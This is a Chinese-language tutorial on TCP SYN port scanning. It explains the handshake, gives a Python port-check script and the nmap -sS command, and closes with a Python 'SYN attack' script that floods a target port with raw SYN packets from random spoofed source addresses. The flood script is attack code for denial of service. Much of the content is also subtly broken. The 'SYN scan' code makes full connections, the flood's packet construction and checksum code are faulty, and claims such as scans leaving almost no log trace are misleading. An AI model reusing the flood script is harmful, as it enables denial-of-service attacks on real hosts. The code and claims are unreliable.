您的位置:

深入分析tcpsyn扫描

一、tcpsyn扫描又称为

tcpsyn扫描是一种用于检测TCP端口开放状态的技术,也被称为半开扫描。它通过发送一个SYN包给目标主机,如果目标主机回应一个SYN/ACK包,则表示对应端口是开放的,反之则表示该端口是关闭的。tcpsyn扫描使用一种轻量级、准确的方式对端口进行快速扫描,它通常是进行渗透测试时的重要一步。

二、tcpsyn扫描开放了5个地址,22端口

在进行tcpsyn扫描之前,我们需要先确定要扫描的目标地址和端口。以下是tcpsyn扫描开放了5个地址和22端口的示例代码:

import socket

target_host = ["192.168.1.1", "192.168.1.2", "192.168.1.3", "192.168.1.4", "192.168.1.5", "192.168.1.6"]
target_port = 22

for address in target_host:
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.settimeout(0.1)
    
    try:
        client.connect((address, target_port))
        print("[*] %s:%d/tcp open" % (address, target_port))
    except:
        print("[*] %s:%d/tcp closed" % (address, target_port))
        client.close()

三、tcpsyn扫描命令

使用tcpsyn扫描可以通过以下命令实现:

nmap -sS [target]

使用nmap工具里的-sS参数可以执行tcpsyn扫描。

四、tcpsyn扫描的原理

tcpsyn扫描的原理是基于TCP的三次握手机制。在TCP通信过程中,客户端首先向服务器发送一个SYN包,该包中包括了客户端的初始序列号。服务器接收到SYN包后会向客户端发送一个SYN/ACK包,该包中包括了服务器的初始序列号和确认号。客户端接收到服务器的SYN/ACK包后会向服务器串发一个ACK包来确认连接建立。

在进行tcpsyn扫描时,客户端只发送一个SYN包,不发送ACK包。在得到服务器的SYN/ACK包后,客户端不再往下执行,而是直接关闭对应的TCP连接,从而避免了连接建立的过程。这样一来,我们就可以通过观察TCP响应包的行为来判断端口的状态。

五、tcpsyn扫描的优缺点

tcpsyn扫描作为一种快速、准确的端口扫描技术,具有以下优点:

  • 可以识别开放和关闭的端口。
  • 几乎不会在目标主机日志中留下任何痕迹,因为客户端只发送一个SYN包,连接不会真正建立。
  • 可以避免由于全连接扫描带来的风险,如DoS攻击。

但tcpsyn扫描也存在一些缺点:

  • 目标主机可能会通过启用SYN Cookies来检测SYN洪水攻击,从而检测出SYN包的扫描行为。因此,tcpsyn扫描需要控制扫描速度,否则可能会被目标主机检测到。
  • 由于SYN包容易被网络过滤器和IDS检测到,因此tcpsyn扫描在某些情况下可能无法成功。

六、tcpsyn扫描中利用的标志位

在tcpsyn扫描过程中,我们使用了TCP协议中的SYN标志位。SYN(Synchronous)标志位用于建立连接,因此在客户端发送SYN包时,目标服务器会返回一个SYN/ACK响应包,从而判断扫描目标端口是否开放。

七、tcpsyn攻击

tcpsyn扫描是一种探测目标主机开放端口状态的手段,但是如果将它用于攻击,则被称为tcpsyn攻击。tcpsyn攻击利用TCP协议中的漏洞,攻击者带着合法的地址向目标主机发送大量的SYN包,消耗目标主机的系统资源,造成DoS攻击的结果。

以下是Python代码中模拟的tcpsyn攻击示例:

import socket, random, struct

target_host = "192.168.1.1"
target_port = 22

for i in range(32):
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    s.settimeout(0.01)
    
    src_ip = "%d.%d.%d.%d" % (random.randint(1,255),random.randint(1,255),random.randint(1,255),random.randint(1,255))
    saddr = socket.inet_aton(src_ip)
    daddr = socket.inet_aton(target_host)
    ihl = 5
    version = 4
    tos = 0
    tot_len = 40
    id = random.randint(18000,65000)
    frag_off = 0
    ttl = 128
    protocol = socket.IPPROTO_TCP
    check = 10
    saddr = socket.inet_aton(src_ip)
    daddr = socket.inet_aton(target_host)
    tcp_header = struct.pack('!HHLLBBHHH', random.randint(1,65535), target_port, random.randint(1,4294967295), random.randint(1,4294967295), ihl, 0, 6, check, 0)
    psh = struct.pack("!4s4sBBH", saddr, daddr, 0, protocol, len(tcp_header))
    psh = psh + tcp_header
    sum = 0
    count_to = (len(psh) / 2) * 2
    count = 0
    
    while count < count_to:
        this_val = ord(psh[count+1])*256 + ord(psh[count])
        sum = sum + this_val
        sum = sum & 0xffffffff
        count = count + 2
    
    if count_to < len(psh):
        sum = sum + ord(psh[len(psh) - 1])
        sum = sum & 0xffffffff
    
    sum = (sum >> 16) + (sum & 0xffff)
    sum = sum + (sum >> 16)
    check = ~sum
    check = check & 0xffff
    tcp_header = struct.pack('!HHLLBBH', random.randint(1,65535), target_port, random.randint(1,4294967295), random.randint(1,4294967295), ihl, 2, check)
    pack = struct.pack('!4s4sBBH', saddr, daddr, 0, protocol, len(tcp_header))
    pack += tcp_header
    s.sendto(pack, (target_host, 0))
    s.close()
    
    print("[*] Sending tcpsyn attack to %s:%d" % (target_host, target_port))